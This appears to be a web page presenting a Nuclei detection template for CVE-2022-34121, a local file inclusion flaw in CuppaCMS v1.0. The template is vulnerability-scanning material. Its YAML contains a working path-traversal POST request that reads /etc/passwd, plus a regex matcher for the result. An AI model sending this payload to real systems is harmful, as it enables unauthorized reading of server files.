CuppaCMS v1.0 - Local File Inclusion

ID: CVE-2022-34121

Severity: high

Author: edoardottt

Tags: cve,cve2022,lfi,cuppa,cms,cuppacms

Description

Cuppa CMS v1.0 is vulnerable to local file inclusion via the component /templates/default/html/windows/right.php.

YAML Source

id: CVE-2022-34121

info:
  name: CuppaCMS v1.0 - Local File Inclusion
  author: edoardottt
  severity: high
  description: |
    Cuppa CMS v1.0 is vulnerable to local file inclusion via the component /templates/default/html/windows/right.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, sensitive information disclosure, and potential remote code execution.
  remediation: |
    Upgrade to the latest version of CuppaCMS or apply the provided patch to fix the LFI vulnerability.
  reference:
    - https://github.com/hansmach1ne/MyExploits/tree/main/LFI_in_CuppaCMS_templates
    - https://github.com/CuppaCMS/CuppaCMS/issues/18
    - https://nvd.nist.gov/vuln/detail/CVE-2022-34121
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-34121
    cwe-id: CWE-829
    epss-score: 0.69358
    epss-percentile: 0.97998
    cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cuppacms
    product: cuppacms
  tags: cve,cve2022,lfi,cuppa,cms,cuppacms

http:
  - raw:
      - |
        POST /templates/default/html/windows/right.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        url=../../../../../../../../../../../../etc/passwd

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ff116c960f620572a93a89fd4b0b8429e9cbb5867fc87c51d1a7331423ee581f022024bcfa030af8392449ab1710d3e6f59a31b682e7cf982c01c45a13efd445eb7c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-34121.yaml"

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